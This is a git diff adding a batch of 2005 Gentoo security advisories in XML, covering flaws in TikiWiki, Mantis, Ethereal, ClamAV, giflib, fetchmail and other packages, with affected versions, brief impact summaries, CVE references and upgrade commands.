+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Oct 2005 07:49:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 27 Oct 2005 12:12:27 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-23.xml b/xml/htdocs/security/en/glsa/glsa-200510-23.xml
new file mode 100644
index 00000000..3659431c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-23.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-23">
+  <title>TikiWiki: XSS vulnerability</title>
+  <synopsis>
+    TikiWiki is vulnerable to cross-site scripting attacks.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>October 28, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>109858</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.9.1.1</unaffected>
+      <vulnerable range="lt">1.9.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is a web-based groupware and content management system (CMS),
+    using PHP, ADOdb and Smarty.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to improper input validation, TikiWiki can be exploited to perform
+    cross-site scripting attacks.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could exploit this to inject and execute malicious
+    script code or to steal cookie-based authentication credentials,
+    potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.9.1.1&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3283">CVE-2005-3283</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 26 Oct 2005 19:43:33 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 27 Oct 2005 18:43:45 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-24.xml b/xml/htdocs/security/en/glsa/glsa-200510-24.xml
new file mode 100644
index 00000000..a1478cfc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-24.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-24">
+  <title>Mantis: Multiple vulnerabilities</title>
+  <synopsis>
+    Mantis is affected by multiple vulnerabilities ranging from information
+    disclosure to arbitrary script execution.
+  </synopsis>
+  <product type="ebuild">Mantis</product>
+  <announced>October 28, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>110326</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mantisbt" auto="yes" arch="*">
+      <unaffected range="ge">0.19.3</unaffected>
+      <vulnerable range="lt">0.19.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mantis is a web-based bugtracking system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mantis contains several vulnerabilities, including:
+    </p>
+    <ul>
+    <li>a remote file inclusion vulnerability</li>
+    <li>an SQL injection vulnerability</li>
+    <li>multiple cross site scripting vulnerabilities</li>
+    <li>multiple information disclosure vulnerabilities</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit the remote file inclusion vulnerability to
+    execute arbitrary script code, and the SQL injection vulnerability to
+    access or modify sensitive information from the Mantis database.
+    Furthermore the cross-site scripting issues give an attacker the
+    ability to inject and execute malicious script code or to steal
+    cookie-based authentication credentials, potentially compromising the
+    victim's browser. An attacker could exploit other vulnerabilities to
+    disclose information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mantis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mantisbt-0.19.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.mantisbt.org/changelog.php">Mantis ChangeLog</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3335">CVE-2005-3335</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3336">CVE-2005-3336</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3337">CVE-2005-3337</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3338">CVE-2005-3338</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3339">CVE-2005-3339</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 26 Oct 2005 05:38:14 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Oct 2005 05:38:58 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-25.xml b/xml/htdocs/security/en/glsa/glsa-200510-25.xml
new file mode 100644
index 00000000..14572956
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-25.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-25">
+  <title>Ethereal: Multiple vulnerabilities in protocol dissectors</title>
+  <synopsis>
+    Ethereal is vulnerable to numerous vulnerabilities, potentially resulting
+    in the execution of arbitrary code or abnormal termination.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>October 30, 2005</announced>
+  <revised>October 30, 2005: 01</revised>
+  <bug>109348</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.13-r1</unaffected>
+      <vulnerable range="lt">0.10.13-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature-rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are numerous vulnerabilities in versions of Ethereal prior
+    to 0.10.13, including:
+    </p>
+    <ul>
+    <li>The SLIM3 and AgentX dissectors
+    could overflow a buffer (CVE-2005-3243).</li>
+    <li>iDEFENSE discovered a
+    buffer overflow in the SRVLOC dissector (CVE-2005-3184).</li>
+    <li>Multiple potential crashes in many dissectors have been fixed, see
+    References for further details.</li>
+    </ul>
+    <p>
+    Furthermore an infinite
+    loop was discovered in the IRC protocol dissector of the 0.10.13
+    release (CVE-2005-3313).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to use these vulnerabilities to crash
+    Ethereal or execute arbitrary code with the permissions of the user
+    running Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.10.13-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3184">CVE-2005-3184</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3241">CVE-2005-3241</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3242">CVE-2005-3242</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3243">CVE-2005-3243</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3244">CVE-2005-3244</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3245">CVE-2005-3245</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3246">CVE-2005-3246</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3247">CVE-2005-3247</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3248">CVE-2005-3248</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3249">CVE-2005-3249</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3313">CVE-2005-3313</uri>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00021.html">Ethereal enpa-sa-00021</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 17 Oct 2005 05:29:11 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 Oct 2005 09:10:32 +0000">
+    adir
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200510-26.xml b/xml/htdocs/security/en/glsa/glsa-200510-26.xml
new file mode 100644
index 00000000..c7bf2084
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200510-26.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200510-26">
+  <title>XLI, Xloadimage: Buffer overflow</title>
+  <synopsis>
+    XLI and Xloadimage contain a vulnerability which could potentially result
+    in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xli xloadimage</product>
+  <announced>October 30, 2005</announced>
+  <revised>October 30, 2005: 01</revised>
+  <bug>108365</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/xli" auto="yes" arch="*">
+      <unaffected range="ge">1.17.0-r2</unaffected>
+      <vulnerable range="lt">1.17.0-r2</vulnerable>
+    </package>
+    <package name="media-gfx/xloadimage" auto="yes" arch="*">
+      <unaffected range="ge">4.1-r4</unaffected>
+      <vulnerable range="lt">4.1-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XLI and Xloadimage are X11 image manipulation utilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    When XLI or Xloadimage process an image, they create a new image
+    object to contain the new image, copying the title from the old image
+    to the newly created image. Ariel Berkman reported that the 'zoom',
+    'reduce', and 'rotate' functions use a fixed length buffer to contain
+    the new title, which could be overwritten by the NIFF or XPM image
+    processors.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious user could craft a malicious XPM or NIFF file and
+    entice a user to view it using XLI, or manipulate it using Xloadimage,
+    potentially resulting in the execution of arbitrary code with the
+    permissions of the user running XLI or Xloadimage.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All XLI users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xli-1.17.0-r2&quot;</code>
+    <p>
+    All Xloadimage users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xloadimage-4.1-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-3178">CAN-2005-3178</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Oct 2005 15:18:40 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Oct 2005 03:10:06 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 Oct 2005 15:11:22 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-01.xml b/xml/htdocs/security/en/glsa/glsa-200511-01.xml
new file mode 100644
index 00000000..54bd5986
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-01.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-01">
+  <title>libgda: Format string vulnerabilities</title>
+  <synopsis>
+    Two format string vulnerabilities in libgda may lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">libgda</product>
+  <announced>November 02, 2005</announced>
+  <revised>November 02, 2005: 01</revised>
+  <bug>110467</bug>
+  <access>remote</access>
+  <affected>
+    <package name="gnome-extra/libgda" auto="yes" arch="*">
+      <unaffected range="ge">1.2.2-r1</unaffected>
+      <vulnerable range="lt">1.2.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libgda is the library handling the data abstraction layer in the
+    Gnome data access architecture (GNOME-DB). It can also be used by
+    non-GNOME applications to manage data stored in databases or XML files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Steve Kemp discovered two format string vulnerabilities in the
+    gda_log_error and gda_log_message functions. Some applications may pass
+    untrusted input to those functions and be vulnerable.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could pass malicious input to an application making
+    use of the vulnerable libgda functions, potentially resulting in the
+    execution of arbitrary code with the rights of that application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libgda users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-extra/libgda-1.2.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2958">CVE-2005-2958</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 30 Oct 2005 15:09:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 30 Oct 2005 15:09:33 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 01 Nov 2005 13:44:10 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-02.xml b/xml/htdocs/security/en/glsa/glsa-200511-02.xml
new file mode 100644
index 00000000..a2dbb67a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-02.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-02">
+  <title>QDBM, ImageMagick, GDAL: RUNPATH issues</title>
+  <synopsis>
+    Multiple packages suffer from RUNPATH issues that may allow users in the
+    "portage" group to escalate privileges.
+  </synopsis>
+  <product type="ebuild">QDBM ImageMagick GDAL</product>
+  <announced>November 02, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>105717</bug>
+  <bug>105760</bug>
+  <bug>108534</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/qdbm" auto="yes" arch="*">
+      <unaffected range="ge">1.8.33-r2</unaffected>
+      <vulnerable range="lt">1.8.33-r2</vulnerable>
+    </package>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.2.4.2-r1</unaffected>
+      <vulnerable range="lt">6.2.4.2-r1</vulnerable>
+    </package>
+    <package name="sci-libs/gdal" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0-r1</unaffected>
+      <unaffected range="rge">1.2.6-r4</unaffected>
+      <vulnerable range="lt">1.3.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    QDBM is a library of routines for managing a database. ImageMagick is a
+    collection of tools to read, write and manipulate images. GDAL is a
+    geospatial data abstraction library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Some packages may introduce insecure paths into the list of directories
+    that are searched for libraries at runtime. Furthermore, packages
+    depending on the MakeMaker Perl module for build configuration may have
+    incorrectly copied the LD_RUN_PATH into the DT_RPATH.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local attacker, who is a member of the "portage" group, could create
+    a malicious shared object in the Portage temporary build directory that
+    would be loaded at runtime by a dependent executable, potentially
+    resulting in privilege escalation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Only grant "portage" group rights to trusted users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All QDBM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/qdbm-1.8.33-r2&quot;</code>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.2.4.2-r1&quot;</code>
+    <p>
+    All GDAL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose sci-libs/gdal</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3580">CVE-2005-3580</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3581">CVE-2005-3581</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3582">CVE-2005-3582</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 15 Oct 2005 10:06:06 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 Nov 2005 13:10:18 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-03.xml b/xml/htdocs/security/en/glsa/glsa-200511-03.xml
new file mode 100644
index 00000000..e1fcdbe7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-03.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-03">
+  <title>giflib: Multiple vulnerabilities</title>
+  <synopsis>
+    giflib may dereference NULL or write out of bounds when processing
+    malformed images, potentially resulting in Denial of Service or arbitrary
+    code execution.
+  </synopsis>
+  <product type="ebuild">giflib</product>
+  <announced>November 04, 2005</announced>
+  <revised>November 04, 2005: 01</revised>
+  <bug>109997</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/giflib" auto="yes" arch="*">
+      <unaffected range="ge">4.1.4</unaffected>
+      <vulnerable range="lt">4.1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    giflib is a library for reading and writing GIF images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans and Daniel Eisenbud independently discovered two
+    out-of-bounds memory write operations and a NULL pointer dereference in
+    giflib.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious GIF image and entice users to
+    load it using an application making use of the giflib library,
+    resulting in an application crash or potentially the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All giflib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/giflib-4.1.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2974">CVE-2005-2974</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3350">CVE-2005-3350</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 29 Oct 2005 09:30:14 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 02 Nov 2005 12:50:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Nov 2005 08:45:23 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-04.xml b/xml/htdocs/security/en/glsa/glsa-200511-04.xml
new file mode 100644
index 00000000..04a949d4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-04.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-04">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    ClamAV has many security flaws which make it vulnerable to remote execution
+    of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>November 06, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>109213</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.87.1</unaffected>
+      <vulnerable range="lt">0.87.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL anti-virus toolkit, designed for integration with mail
+    servers to perform attachment scanning. ClamAV also provides a command
+    line scanner and a tool for fetching updates of the virus database.
+    </p>
+  </background>
+  <description>
+    <p>
+    ClamAV has multiple security flaws: a boundary check was performed
+    incorrectly in petite.c, a buffer size calculation in unfsg_133 was
+    incorrect in fsg.c, a possible infinite loop was fixed in tnef.c and a
+    possible infinite loop in cabd_find was fixed in cabd.c . In addition
+    to this, Marcin Owsiany reported that a corrupted DOC file causes a
+    segmentation fault in ClamAV.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a malicious attachment to a mail server that is hooked with
+    ClamAV, a remote attacker could cause a Denial of Service or the
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.87.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3239">CAN-2005-3239</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3303">CAN-2005-3303</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3500">CVE-2005-3500</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3501">CVE-2005-3501</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3587">CVE-2005-3587</uri>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=368319">ClamAV release notes</uri>
+    <uri link="http://www.zerodayinitiative.com/advisories/ZDI-05-002.html">Zero Day Initiative advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 04 Nov 2005 08:33:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 04 Nov 2005 15:17:11 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 06 Nov 2005 14:23:05 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-05.xml b/xml/htdocs/security/en/glsa/glsa-200511-05.xml
new file mode 100644
index 00000000..067c32f8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-05.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-05">
+  <title>GNUMP3d: Directory traversal and XSS vulnerabilities</title>
+  <synopsis>
+    GNUMP3d is vulnerable to directory traversal and cross-site scripting
+    attacks that may result in information disclosure or the compromise of a
+    browser.
+  </synopsis>
+  <product type="ebuild">gnump3d</product>
+  <announced>November 06, 2005</announced>
+  <revised>August 21, 2007: 02</revised>
+  <bug>109667</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/gnump3d" auto="yes" arch="*">
+      <unaffected range="ge">2.9_pre7</unaffected>
+      <vulnerable range="lt">2.9_pre7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GNUMP3d is a streaming server for MP3s, OGG vorbis files, movies and
+    other media formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Steve Kemp reported about two cross-site scripting attacks that are
+    related to the handling of files (CVE-2005-3424, CVE-2005-3425). Also
+    reported is a directory traversal vulnerability which comes from the
+    attempt to sanitize input paths (CVE-2005-3123).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this to disclose sensitive information
+    or inject and execute malicious script code, potentially compromising
+    the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNUMP3d users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/gnump3d-2.9_pre7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3123">CVE-2005-3123</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3424">CVE-2005-3424</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3425">CVE-2005-3425</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 03 Nov 2005 12:32:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 04 Nov 2005 13:55:23 +0000">
+    adir
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 05 Nov 2005 08:54:39 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200511-06.xml b/xml/htdocs/security/en/glsa/glsa-200511-06.xml
new file mode 100644
index 00000000..0a84ca9a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200511-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200511-06">
+  <title>fetchmail: Password exposure in fetchmailconf</title>
+  <synopsis>
+    fetchmailconf fails to properly handle file permissions, temporarily
+    exposing sensitive information to other local users.
+  </synopsis>
+  <product type="ebuild">fetchmail</product>
+  <announced>November 06, 2005</announced>
+  <revised>November 06, 2005: 01</revised>
+  <bug>110366</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-mail/fetchmail" auto="yes" arch="*">
+      <unaffected range="ge">6.2.5.2-r1</unaffected>
+      <vulnerable range="lt">6.2.5.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    fetchmail is a utility that retrieves and forwards mail from
+    remote systems using IMAP, POP, and other protocols. It ships with
+    fetchmailconf, a graphical utility used to create configuration files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Thomas Wolff discovered that fetchmailconf opens the configuration
+    file with default permissions, writes the configuration to it, and only
+    then restricts read permissions to the owner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit the race condition to retrieve
+    sensitive information like IMAP/POP passwords.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Run "umask 077" to temporarily strengthen default permissions,
+    then run "fetchmailconf" from the same shell.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All fetchmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/fetchmail-6.2.5.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://fetchmail.berlios.de/fetchmail-SA-2005-02.txt">Fetchmail Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3088">CVE-2005-3088</uri>
+  </references>
